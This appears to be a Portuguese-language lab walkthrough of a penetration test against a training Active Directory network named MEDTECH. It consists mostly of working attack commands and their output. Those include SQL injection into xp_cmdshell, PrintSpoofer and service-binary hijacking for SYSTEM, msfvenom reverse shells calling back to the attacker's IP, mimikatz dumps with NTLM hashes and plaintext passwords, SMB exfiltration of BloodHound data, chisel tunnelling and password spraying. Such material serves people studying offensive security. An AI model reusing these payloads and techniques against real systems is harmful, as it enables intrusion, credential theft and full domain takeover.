100% found this document useful (1 vote)
1K views37 pages

Med Tech

Uploaded by

Diego Souza
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
100% found this document useful (1 vote)
1K views37 pages

Med Tech

Uploaded by

Diego Souza
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 37

README.

md

We have been tasked to conduct a penetration test for MEDTECH a recently formed IoT
healthcare startup. Our objective is to find as many vulnerabilities and misconfigurations as
possible in order to increase their Active Directory security posture and reduce the attack
surface.

The organization topology diagram is shown below and the public subnet network resides in
the 192.168.xx.0/24 range, where the xx of the third octet can be found under the IP
ADDRESS field in the control panel.

192.168.XXX.121

Keeping track

machine local.txt proof.txt


PROD01.MEDTECH.COM 172.16.XXX.13 (Pwdned!) didn't had X
one
CLIENT02.MEDTECH.COM 172.16.XXX.83 (Pwdned!) X X
CLIENT01.MEDTECH.COM 172.16.XXX.82 (Pwdned!) didn't had X
one
DC01.MEDTECH.COM 172.16.XXX.10 (Pwdned!) didn't had X
one
DEV04.MEDTECH.COM 172.16.XXX.12 (Pwdned!) X X
WEB02.DMZ.MEDTECH.COM 172.16.XXX.254 didn't had X
(192.168.XXX.121) (Pwdned!) one
FILES02.MEDTECH.COM 172.16.XXX.11 (Pwdned!) X X
machine local.txt proof.txt
172.16.XXX.11 X didn't had
one
User Password
YOSHI Mushroom!
MARIO XX
LEON rabbit:)
JOE Flowers1
PEACH XX
WARIO Mushroom!
offsec century62hisan51

nmap
Nmap scan report for 192.168.215.121
Host is up (0.16s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: MedTech
|_http-server-header: Microsoft-IIS/10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:


| smb2-time:
| date: 2024-06-13T01:57:40
|_ start_date: N/A
|_clock-skew: -54s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required

O site é do medtech (Porta 80), procurar informações no site. Em about.aspx , temos


um possível usuário: Robart Brown

No campo de Get in Touch da página, quando faz uma requisição, o formulário faz
uma busca por um File dentro do webserver.

POST /contact_process.php HTTP/1.1


Host: 192.168.215.121
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 653
Origin: http://192.168.215.121
Connection: close
Referer: http://192.168.215.121/contact.aspx

message=%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E&name=Pedro&email
=pedro%40test.com&subject=Test&0=m&1=e&2=s&3=s&4=a&5=g&6=e&7=%3D&8=%25&9=3&
10=C&11=i&12=m&13=g&14=%2B&15=s&16=r&17=c&18=%25&19=3&20=D&21=x&22=%2B&23=o
&24=n&25=e&26=r&27=r&28=o&29=r&30=%25&31=3&32=D&33=a&34=l&35=e&36=r&37=t&38
=
(&39=d&40=o&41=c&42=u&43=m&44=e&45=n&46=t&47=.&48=d&49=o&50=m&51=a&52=i&53=
n&54=)&55=%25&56=3&57=E&58=%26&59=n&60=a&61=m&62=e&63=%3D&64=P&65=e&66=d&67
=r&68=o&69=%26&70=e&71=m&72=a&73=i&74=l&75=%3D&76=p&77=e&78=d&79=r&80=o&81=
%25&82=4&83=0&84=t&85=e&86=s&87=t&88=.&89=c&90=o&91=m&92=%26&93=s&94=u&95=b
&96=j&97=e&98=c&99=t&100=%3D&101=T&102=e&103=s&104=t

O texto é enviado em pedaços dessa forma:

&0=m&1=e&2=s&3=s&4=a&5=g&6=e&7=%3D&8=%25&9=3&10=C&11=i&12=m&13=g&14=%2B&15=
s&16=r&17=c&18=%25&19=3&20=D&21=x&22=%2B&23=o&24=n&25=e&26=r&27=r&28=o&29=r
&30=%25&31=3&32=D&33=a&34=l&35=e&36=r&37=t&38=
(&39=d&40=o&41=c&42=u&43=m&44=e&45=n&46=t&47=.&48=d&49=o&50=m&51=a&52=i&53=
n&54=)&55=%25&56=3&57=E&58=%26&59=n&60=a&61=m&62=e&63=%3D&64=P&65=e&66=d&67
=r&68=o&69=%26&70=e&71=m&72=a&73=i&74=l&75=%3D&76=p&77=e&78=d&79=r&80=o&81=
%25&82=4&83=0&84=t&85=e&86=s&87=t&88=.&89=c&90=o&91=m&92=%26&93=s&94=u&95=b
&96=j&97=e&98=c&99=t&100=%3D&101=T&102=e&103=s&104=t

Realizando o regex, podemos verificar que é apenas a mensagem que foi enviada no
campo de mensagem:

&\d+=

message%3D%253Cimg%2Bsrc%253Dx%2Bonerror%253Dalert(document.domain)%253E%26
name%3DPedro%26email%3Dpedro%2540test.com%26subject%3DTest

Não faço ideia. Tem uma página de login, tentando acessar ela, consegui encontrar um
SQLInjection ( post.txt ):

POST /login.aspx HTTP/1.1


Host: 192.168.215.121
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp
,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 437
Origin: http://192.168.215.121
Connection: close
Referer: http://192.168.215.121/login.aspx
Upgrade-Insecure-Requests: 1

__VIEWSTATE=%2FwEPDwUKMjA3MTgxMTM4N2RkL7UlJbQLRVEHtdBd2cHsgmzduFNoWHiXrVGu0
cD9%2Bjc%3D&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTVALIDATION=%2FwEdAATHRQHJ3
fxgbABeqXLtYnwsG8sL8VA5%2Fm7gZ949JdB2tEE%2BRwHRw9AX2%2FIZO4gVaaKVeG6rrLts0M
7XT7lmdcb6vZhOhYNI15ms6KxT68HdWaGxCBK67o39S7upoRJaNfM%3D&ctl00%24ContentPla
ceHolder1%24UsernameTextBox=admin'&ctl00%24ContentPlaceHolder1%24PasswordTe
xtBox=password&ctl00%24ContentPlaceHolder1%24LoginButton=Login

<span id="ContentPlaceHolder1_MyLabel">
System.Data.SqlClient.SqlException (0x80131904): Unclosed quotation mark
after the character string 'admin';'.
Incorrect syntax near 'admin';'.
at System.Data.SqlClient.SqlConnection.OnError(SqlException exception,
Boolean breakConnection, Action`1 wrapCloseInAction)
at
System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObje
ct stateObj, Boolean callerHasConnectionLock, Boolean asyncClose)
at System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior,
SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet
bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady)
at System.Data.SqlClient.SqlDataReader.TryConsumeMetaData()
at System.Data.SqlClient.SqlDataReader.get_MetaData()
at System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader
ds, RunBehavior runBehavior, String resetOptionsString, Boolean isInternal,
Boolean forDescribeParameterEncryption, Boolean
shouldCacheForAlwaysEncrypted)
at System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior
cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async,
Int32 timeout, Task& task, Boolean asyncWrite, Boolean inRetry,
SqlDataReader ds, Boolean describeParameterEncryptionRequest)
at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior
cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method,
TaskCompletionSource`1 completion, Int32 timeout, Task& task, Boolean&
usedCache, Boolean asyncWrite, Boolean inRetry)
at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior
cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior
behavior, String method)
at System.Data.SqlClient.SqlCommand.ExecuteReader()
at MyNamespace.MyClass.Login(Object sender, EventArgs e) in
c:\inetpub\wwwroot\login.cs:line 35
ClientConnectionId:31d4e273-e24f-42e6-90bd-5fd68ff6eae7
Error Number:105,State:1,Class:15
</span>

Tentativa com o payload: admin'+OR+1=1+in+(select+@@version)+--+//

System.Data.SqlClient.SqlException (0x80131904): Incorrect syntax near the


keyword 'in'.

Tentando enumerar o número de colunas baseado em UNION-based payloads


(aparentemente error-based), consegui observar que o número de colunas que existem
são 2 (Por que dá erro no 3)

admin'+ORDER+BY+3--+//
System.Data.SqlClient.SqlException (0x80131904): The ORDER BY position
number 3 is out of range of the number of items in the select list.

Consegui descobrir a existencia da coluna user , mas aparentemente é blind SQL (Não
posso usar isso na prova!), vou usar SQLMap para poder entender melhor a injeção.

OBS.: A PARTIR DAQUI ATÉ A INSTRUÇÃO EXEC É IRRELEVANTE, NÃO É


NECESSÁRIO O USO DE SQLMAP!! (Não posso usar isso na prova)

$ sqlmap -r post.txt -p ctl00%24ContentPlaceHolder1%24UsernameTextBox

sqlmap identified the following injection point(s) with a total of 449


HTTP(s) requests:
---
Parameter: ctl00$ContentPlaceHolder1$UsernameTextBox (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload:
__VIEWSTATE=/wEPDwUKMjA3MTgxMTM4Nw9kFgJmD2QWAgIDD2QWAgIBD2QWAgIHDw8WAh4EVGV
4dAUmSW52YWxpZCBjcmVkZW50aWFscy4gUGxlYXNlIHRyeSBhZ2Fpbi5kZGQ6ANQ+ZinGNG41Jv
oxdgmEmQZ5mPmfmkkqoJF0u3XSeg==&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTVALIDAT
ION=/wEdAATe8ooRy1yZbe5QReMilY6mG8sL8VA5/m7gZ949JdB2tEE+RwHRw9AX2/IZO4gVaaK
VeG6rrLts0M7XT7lmdcb61gAUK1Up19u/e2ttdYdr5kv82bbq4/biNxm9IDXrF1w=&ctl00$Con
tentPlaceHolder1$UsernameTextBox=admin';WAITFOR DELAY '0:0:5'--
&ctl00$ContentPlaceHolder1$PasswordTextBox=password&ctl00$ContentPlaceHolde
r1$LoginButton=Login

Type: time-based blind


Title: Microsoft SQL Server/Sybase time-based blind (IF)
Payload:
__VIEWSTATE=/wEPDwUKMjA3MTgxMTM4Nw9kFgJmD2QWAgIDD2QWAgIBD2QWAgIHDw8WAh4EVGV
4dAUmSW52YWxpZCBjcmVkZW50aWFscy4gUGxlYXNlIHRyeSBhZ2Fpbi5kZGQ6ANQ+ZinGNG41Jv
oxdgmEmQZ5mPmfmkkqoJF0u3XSeg==&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTVALIDAT
ION=/wEdAATe8ooRy1yZbe5QReMilY6mG8sL8VA5/m7gZ949JdB2tEE+RwHRw9AX2/IZO4gVaaK
VeG6rrLts0M7XT7lmdcb61gAUK1Up19u/e2ttdYdr5kv82bbq4/biNxm9IDXrF1w=&ctl00$Con
tentPlaceHolder1$UsernameTextBox=admin' WAITFOR DELAY '0:0:5'--
Tdsn&ctl00$ContentPlaceHolder1$PasswordTextBox=password&ctl00$ContentPlaceH
older1$LoginButton=Login
---
Como suspeitava, stacked queries e time-based blind

ctl00$ContentPlaceHolder1$UsernameTextBox=admin';WAITFOR DELAY '0:0:5'--

ctl00$ContentPlaceHolder1$UsernameTextBox=admin' WAITFOR DELAY '0:0:5'--

Dump das informações:

$ sqlmap -r post.txt -p ctl00%24ContentPlaceHolder1%24UsernameTextBox --


dump

Database: webapp
Table: sqlmapoutput
[2 entries]
+----+--------+
| id | data |
+----+--------+
| 1 | 1 |
| 2 | NULL |
+----+--------+

Database: webapp
Table: users
[0 entries]
+----------+----------+
| password | username |
+----------+----------+
+----------+----------+

Nenhuma entrada no banco de dados :(, posso tentar acessar o webserver pelo sqlmap
via --os-shell --web-root "/var/www/html/tmp"

$ sqlmap -r post.txt -p ctl00%24ContentPlaceHolder1%24UsernameTextBox --os-


shell --web-root "/var/www/html/tmp"

C:\Program Files\Microsoft SQL Server\MSSQL15.SQLEXPRESS\MSSQL\Log\ERRORLOG


[01:03:47] [INFO] testing if current user is DBA
[01:03:50] [INFO] checking if xp_cmdshell extended procedure is available,
please wait..
[01:04:19] [WARNING] reflective value(s) found and filtering out
[01:04:19] [INFO] xp_cmdshell extended procedure is available
[01:04:19] [INFO] testing if xp_cmdshell extended procedure is usable
[01:05:02] [INFO] xp_cmdshell extended procedure is usable
[01:05:02] [INFO] going to use extended procedure 'xp_cmdshell' for
operating system command execution
[01:05:02] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and
press ENTER
os-shell> whoami

command standard output: 'nt service\mssql$sqlexpress'

Tá demorando muito, tenho que conseguir shell de outra forma.

OBS.: FIM DO SQLMAP, CONTINUAÇÃO DA EXPLORAÇÃO!

Lembrando do exercício feito na Capstone 4 de SQL Injection, temos a função MSSQL


xp_cmdshell function

' EXEC sp_configure 'show advanced options',1; -- //


' RECONFIGURE; -- //
' EXEC sp_configure 'xp_cmdshell',1; -- //
' RECONFIGURE; -- //

Executado corretamente, testar para ver se ele bate em um python server por exemplo

ctl00%24ContentPlaceHolder1%24UsernameTextBox=admin%27%20EXEC%20master.dbo.
xp_cmdshell%20%27curl%20192.168.45.170%27%3B%20--%20%2F%2F

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.215.121 - - [13/Jun/2024 02:04:42] "GET / HTTP/1.1" 200 -

Realizar as mesmas etapas em Capstone 4 para obter shell reversa. Conseguindo a


shell reversa, executar o winPEASx64.exe para entender locais de possíveis
escalações de privilégio.
.\winPEASx64.exe

Na verdade, melhor ainda, antes de verificar o output do PEAS, é melhor verificar os


privilégios do usuário.

PS C:\Users\Public\Documents> whoami
nt service\mssql$sqlexpress

PS C:\Users\Public\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description


State
============================= =========================================
========
SeAssignPrimaryTokenPrivilege Replace a process level token
Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process
Disabled
SeChangeNotifyPrivilege Bypass traverse checking
Enabled
SeManageVolumePrivilege Perform volume maintenance tasks
Enabled
SeImpersonatePrivilege Impersonate a client after authentication
Enabled
SeCreateGlobalPrivilege Create global objects
Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set
Disabled

O usuário nt service\mssql$sqlexpress possui o privilégio SeImpersonatePrivilege


habilitado, tentando fazer impersionate com PrintSpoofer64.exe

$ wget
https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64
.exe
iwr -uri http://192.168.45.170/PrintSpoofer64.exe -Outfile
PrintSpoofer64.exe

.\PrintSpoofer64.exe -i -c powershell.exe

C:\Users\Public\Documents>.\PrintSpoofer64.exe -i -c powershell.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements!


https://aka.ms/PSWindows

PS C:\Windows\system32> whoami
nt authority\system

Conseguimos obter tanto o local.txt quanto o proof.txt com esse usuário:

PS C:\Users\joe> Get-ChildItem -Path C:\ -Include local.txt -File -Recurse


-ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Include local.txt -File -Recurse -ErrorAction
SilentlyContinue

PS C:\Users\Administrator\Desktop> type
C:\Users\Administrator\Desktop\proof.txt
type C:\Users\Administrator\Desktop\proof.txt
4626a077b4271ed106df75a03501bbb5

Post exploitation
mimikatz.exe com nt authority\system
* Username : joe
* Domain : MEDTECH
* NTLM : 08d7a47a6f9f66b97b1bae4178747494

* Username : joe
* Domain : MEDTECH.COM
* Password : Flowers1

* Username : Administrator
* Domain : WEB02
* NTLM : b2c03054c306ac8fc5f9d188710b0168

$ hashcat -m 1000 -o crackedadministrator.hash administrator.hash -r


/usr/share/hashcat/rules/best64.rule /usr/share/wordlists/rockyou.txt --
force

Dead end. Vamos executar o SharpHound.ps1 para obter as informações do possível


AD que estamos localizados.

PS C:\Users\Public\Documents> iwr -uri http://192.168.45.170/SharpHound.ps1


-OutFile SharpHound.ps1

PS C:\Users\Public\Documents> . .\SharpHound.ps1

PS C:\Users\Public\Documents> Invoke-BloodHound -CollectionMethod All

Temos um output positivo da ferramenta que mostra as seguintes informações


coletadas

64 name to SID mappings.


1 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.

Exfiltrar com impacket-smbserver


$ impacket-smbserver -smb2support -username pedro -password pedro shares
$(pwd)

PS C:\Users\Public\Documents> net use Z: \\192.168.45.170\shares


/user:pedro pedro

The command completed successfully.

PS C:\Users\Public\Documents> cp 20240613194031_BloodHound.zip Z:\shares

Tendo a visualização agora do bloodhound, podemos realizar a query MATCH para


obter todos os itens com propriedade de Computer

MATCH (m:Computer) RETURN m

Observamos que temos 7 máquinas dentro do AD. (Faremos também o nslookup.exe


da WEB02 que temos acesso para saber qual é o IP externo/interno de cada uma delas)

Domínio: MEDTECH.COM

Computer IP
PROD01.MEDTECH.COM 172.16.199.13
CLIENT02.MEDTECH.COM 172.16.199.83
CLIENT01.MEDTECH.COM 172.16.199.82
DC01.MEDTECH.COM 172.16.199.10
DEV04.MEDTECH.COM 172.16.199.12
WEB02.DMZ.MEDTECH.COM 172.16.199.254 (192.168.199.121)
FILES02.MEDTECH.COM 172.16.199.11

Perfeito, conseguimos mapear os IPs de cada domínio. Agora podemos pegar todos os
usuários presentes no AD

MATCH (u:User) RETURN u


User Password
YOSHI XX
MARIO XX
LEON XX
JOE Flowers1
PEACH XX
WARIO XX

Fora esses, temos os users default's

User Password
NT AUTHORITY XX
GUEST XX
OFFSEC XX
ADMINISTRATOR XX
KRBTGT XX

Em busca dos domain admins, temos apenas dois users nessa categoria

User Password
LEON XX
ADMINISTRATOR XX

Seguindo mais ou menos ainda com o Assembling the Pieces do material do curso, é
interessante fazer uma busca para quais usuários possuem sessões ativas em quais
máquinas:

MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p

Com essa query, observamos que os seguintes users possuem login ativo nos
computadores:

User Computer
JOE WEB02
LEON DEV04

O usuário que possui privilégios administrativos leon possui sessão ativa na máquina
DEV04, então se eu consegui obter acesso a máquina, conseguiria usar uma técnica
de AS-REQ ou Kerberoast para obter a hash do usuário e obter acesso a esse usuário.

Enumerar as outras máquinas de forma interna por tunnelamento.

$ cp /home/kali/Documents/beyond/chisel .
$ ./chisel server -p 9002 --reverse

PS C:\Users\Public\Documents> iwr -uri http://192.168.45.170/chisel.exe -


OutFile chisel.exe
PS C:\Users\Public\Documents> .\chisel.exe client 192.168.45.170:9002
R:socks

Alterando o /etc/proxychains4.conf e configurando um listener na porta 9002 do


WEB02 , podemos agora realizar comandos de maneira interna via proxychains .
Depois de um longo tempo e umas leituras no grupo do Discord, descobri que ao invés
de atacar o SMB, deveria ter atacado o WinRM com crackmapexec

$ proxychains -q crackmapexec winrm 172.16.245.11 -u joe -p "Flowers1"


SMB 172.16.245.11 5985 FILES02 [*] Windows Server 2022
Build 20348 (name:FILES02) (domain:medtech.com)
HTTP 172.16.245.11 5985 FILES02 [*]
http://172.16.245.11:5985/wsman
WINRM 172.16.245.11 5985 FILES02 [+]
medtech.com\joe:Flowers1 (Pwn3d!)

O joe possui acesso com privilégios no FILES02 . E como é WinRM, devemos utilizar
o evil-winrm

$ proxychains -q evil-winrm -i 172.16.245.11 -u joe -p "Flowers1"

*Evil-WinRM* PS C:\Users\joe\Documents> whoami


medtech\joe
*Evil-WinRM* PS C:\Users\joe\Documents> hostname
FILES02
*Evil-WinRM* PS C:\Users\joe\Documents> cat ../Desktop/local.txt
2febb04b49db31ee9a65f9b894a6421a
*Evil-WinRM* PS C:\Users\joe\Documents> cat
../../Administrator/Desktop/proof.txt
f304e45e5dea76cb1d16f2472e7fa397

joe aqui nesse contexto ( FILES02 ) também possui privilégio


SeImpersonatePrivilege , vamos tentar novamente o PrintSpoofer64.exe

[+] Found privilege: SeImpersonatePrivilege


[+] Named pipe listening...
[-] Operation failed or timed out.

Infelizmente não foi dessa vez, continuando. Dentro da pasta Documents , tem um
arquivo de log ( fileMonitorBackup.log ), e dentro desse arquivo de log, é possível
verificar quatro hashes para quatro usuários:

daisy:abf36048c1cf88f5603381c5128feb8e
toad:5be63a865b65349851c1f11a067a3068
wario:fdf36048c1cf88f5630381c5e38feb8e
goomba:8e9e1516818ce4e54247e71e71b5f436

Foi possível quebrar apenas uma senha dentro dessas 4 hashes NTLM

username password
wario Mushroom!

Posso tentar essa senha em outros IPs agora, e testando ela para o
CLIENT02.MEDTECH.COM , conseguimos obter privilégios nessa máquina com esse user

$ proxychains -q crackmapexec winrm 172.16.245.83-84 -u wario -d


medtech.com -p "Mushroom\!"
HTTP 172.16.245.83 5985 172.16.245.83 [*]
http://172.16.245.83:5985/wsman
WINRM 172.16.245.83 5985 172.16.245.83 [+]
medtech.com\wario:Mushroom! (Pwn3d!)

$ proxychains -q evil-winrm -i 172.16.245.83 -u wario -p "Mushroom\!"

*Evil-WinRM* PS C:\Users\wario\Documents> type ../Desktop/local.txt


8ae965b8fdf98594a1b958a875274502
Rodando o winPEAS.exe a CLIENT02 com o wario . Conseguimos obstervar algumas
coisas interessantes para privesc.

auditTracker(auditTracker)[C:\DevelopmentExecutables\auditTracker.exe] -
Autoload - isDotNet
File Permissions: Everyone [AllAccess], Authenticated Users
[WriteData/CreateFiles]
Possible DLL Hijacking in binary folder: C:\DevelopmentExecutables
(Everyone [AllAccess], Authenticated Users [WriteData/CreateFiles])

Temos acesso para write nesse executável que é realizado AutoLoad. Nosso perfil tem
a permissão de realizar restart no sistema. Ou seja, após reboot, no autoload é
executado o auditTracker.exe e conseguimos uma shell reversa com privilégios
administrativos.

$ cat addadmin.c

#include <stdlib.h>

int main() {
int i;

i = system ("net user pedro password123! /add");


i = system ("net localgroup administrators pedro /add");

return 0;
}

$ x86_64-w64-mingw32-gcc addadmin.c -o auditTracker.exe

*Evil-WinRM* PS C:\DevelopmentExecutables> move


C:\DevelopmentExecutables\auditTracker.exe C:\Users\wario\Documents
*Evil-WinRM* PS C:\DevelopmentExecutables> iwr -uri
http://192.168.45.170/auditTracker.exe -OutFile auditTracker.exe

Agora é necessário reiniciar ou startar o serviço de auditTracker . Porém não da pra


fazer isso via reboot, por que aparentemente o wario não possui os privilégios para
reboot.
*Evil-WinRM* PS C:\DevelopmentExecutables> shutdown /r /t 0
shutdown.exe : Access is denied.(5)
+ CategoryInfo : NotSpecified: (Access is denied.(5):String)
[], RemoteException
+ FullyQualifiedErrorId : NativeCommandError

Porém, o pessoal do Discord disse que conseguimos fazer stop e start via sc.exe .
sc.exe (Service Control) é uma ferramenta de linha de comando do Windows que
permite aos administradores gerenciar serviços no sistema operacional. Então para
startar o serviço, temos:

*Evil-WinRM* PS C:\DevelopmentExecutables> sc.exe stop auditTracker


[SC] ControlService FAILED 1062:

The service has not been started.

*Evil-WinRM* PS C:\DevelopmentExecutables> sc.exe start auditTracker


[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely
fashion.

Após execução, podemos verificar se o usuário foi criado corretamente.

*Evil-WinRM* PS C:\DevelopmentExecutables> net users

User accounts for \\

---------------------------------------------------------------------------
----
Administrator DefaultAccount Guest
offsec pedro WDAGUtilityAccount

Autenticando com o usuário pedro , temos:

*Evil-WinRM* PS C:\DevelopmentExecutables> net localgroup administrators


Alias name administrators
Comment Administrators have complete and unrestricted access to the
computer/domain
Members

---------------------------------------------------------------------------
----
Administrator
MEDTECH\Domain Admins
pedro

Infelizmente não deu certo criar o usuário, então fui pela criação de um revshell mesmo:

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.170 LPORT=4446


-f exe -o auditTracker.exe

*Evil-WinRM* PS C:\DevelopmentExecutables> upload auditTracker.exe


*Evil-WinRM* PS C:\DevelopmentExecutables> sc.exe start auditTracker

$ nc -lnvp 4446
connect to [192.168.45.170] from (UNKNOWN) [192.168.245.121] 61464
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>type C:\Users\Administrator\Desktop\proof.txt
type C:\Users\Administrator\Desktop\proof.txt
72f950da5646579dd3c86ecd18c7392e

Depois do privesc, tentar as outras máquinas que ainda não consegui acesso. Uma
dica compartilhada pelo pessoal foi a de fazer spray and pray com as informações que
eu tenho com crackmapexec e proxychains , só que tem um problema como reportado
pelo material.

CrackMapExec version 5.4.0 may throw the error **The NETBIOS connection
with the remote host is timed out** for DCSRV1, or doesn't provide any
output at all. Version 5.4.1 contains a fix to address this issue.

Então eu estou usando a versão mais recente que peguei fazendo git clone e
compilando do repo original.
$ pwd
/opt/CrackMapExec
$ proxychains -q poetry run crackmapexec smb
/home/kali/Documents/medtech/hashes/targets.txt -u
/home/kali/Documents/medtech/hashes/users.txt -d medtech.com -p
/home/kali/Documents/medtech/hashes/pass.txt --shares

Tomei STATUS_ACCOUNT_LOCKED_OUT em todos os lugares, o que me impediu de


verificar se possuo ou não credenciais válidas nos hosts testados. Após o timeout de
30min ter passado, foi possível testar agora as credenciais para os users que eu
possuo e descobri que yoshi possui Pwned! no host CLIENT01

SMB 172.16.245.82 445 CLIENT01 [+]


medtech.com\yoshi:Mushroom! (Pwn3d!)

username password
yoshi Mushroom!

Testando RDP para esse host com essas credenciais, foi possível acessar o host:

$ proxychains -q xfreerdp /u:yoshi /v:172.16.245.82 /p:"Mushroom\!"


/d:medtech.com /f

Com isso, é possível pegar as flags desse host (Não possui local.txt nessa
maquina):
O usuário yoshi também possui acesso ao host DEV04 (sem Pwned! )

SMB 172.16.245.12 445 CLIENT01 [+]


medtech.com\yoshi:Mushroom!

Acessando via RDP, conseguimos obter local.txt da DEV04

Para privesc, usamos o Rubeus.exe e mimikatz.exe para identificar possíveis hashes


e usuários logados nessa máquina (Já sabemos pelo Bloodhound que na DEV04 temos
o usuário leon autenticado nela pela query de Active Sessions MATCH p =
(c:Computer)-[:HasSession]->(m:User) RETURN p ).

Para rodar mimikatz.exe e exfiltrar precisa de priv. Tentando AS-REP roast e


Kerberoast pelo Rubeus.exe

PS C:\Users\yoshi> .\Rubeus.exe asreproast /nowrap


[X] No results returned by LDAP!

PS C:\Users\yoshi> .\Rubeus.exe kerberoast /nowrap


[X] No results returned by LDAP!

Sem sucesso, vamos usar o winPEAS.exe para identificar um possível privesc. Após
rodar o winPEAS.exe , foi possível perceber que existe um arquivo executável chamado
backup.exe na pasta C:\TEMP\ , o que é intrigante, pois pode ser um executavel de
rotina dentro da máquina.

Searching executable files in non-default folders with write (equivalent)


permissions (can be slow)
File Permissions "C:\Users\yoshi\winPEAS.exe": yoshi [AllAccess]
File Permissions "C:\Users\yoshi\Rubeus.exe": yoshi [AllAccess]
File Permissions "C:\Users\yoshi\nc.exe": yoshi [AllAccess]
File Permissions "C:\Users\yoshi\mimikatz.exe": yoshi [AllAccess]

File Permissions "C:\TEMP\backup.exe": yoshi [WriteData/CreateFiles]

Substituindo o arquivo por outro shell reverso, temos:

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.170 LPORT=4448


-f exe -o backup.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from
the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: backup.exe

PS C:\TEMP> mv .\backup.exe .\backup.exe.bak


PS C:\TEMP> iwr -Uri http://192.168.45.170/backup.exe -OutFile backup.exe

$ nc -lnvp 4448
listening on [any] 4448 ...
connect to [192.168.45.170] from (UNKNOWN) [192.168.245.121] 62260
Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\Users\Administrator\Desktop\proof.txt


553f90d392895f18f9edcd6317299011

Agora com acesso administrativo na DEV04 , podemos obter as hashes de leon via
mimikatz.exe

C:\Users\Administrator\Desktop>powershell -ep bypass


PS C:\Users\Administrator\Desktop> iwr -Uri
http://192.168.45.170/mimikatz.exe -OutFile mimikatz.exe
PS C:\Users\Administrator\Desktop> .\mimikatz.exe "privilege::debug"
"sekurlsa::logonpasswords" "exit"

Obtemos as seguintes hashes NTLM para o leon

* Username : leon
* Domain : MEDTECH
* NTLM : 2e208ad146efda5bc44869025e06544a

* Username : leon
* Domain : MEDTECH.COM
* Password : rabbit:)

Agora que sabemos a senha do leon , e sabemos pelo Bloodhound que ele é um
usuário que pertence ao grupo de usuários com privilégios administrativos na DC01 ,
podemos nos autenticar por lá.

$ proxychains -q poetry run crackmapexec smb


/home/kali/Documents/medtech/hashes/targets.txt -u leon -d medtech.com -p
"rabbit:)" --shares

SMB 172.16.245.254 445 WEB02 [+]


medtech.com\leon:rabbit:) (Pwn3d!)
SMB 172.16.245.13 445 PROD01 [+]
medtech.com\leon:rabbit:) (Pwn3d!)
SMB 172.16.245.10 445 DC01 [+]
medtech.com\leon:rabbit:) (Pwn3d!)
SMB 172.16.245.82 445 CLIENT01 [+]
medtech.com\leon:rabbit:) (Pwn3d!)
SMB 172.16.245.12 445 DEV04 [+]
medtech.com\leon:rabbit:) (Pwn3d!)

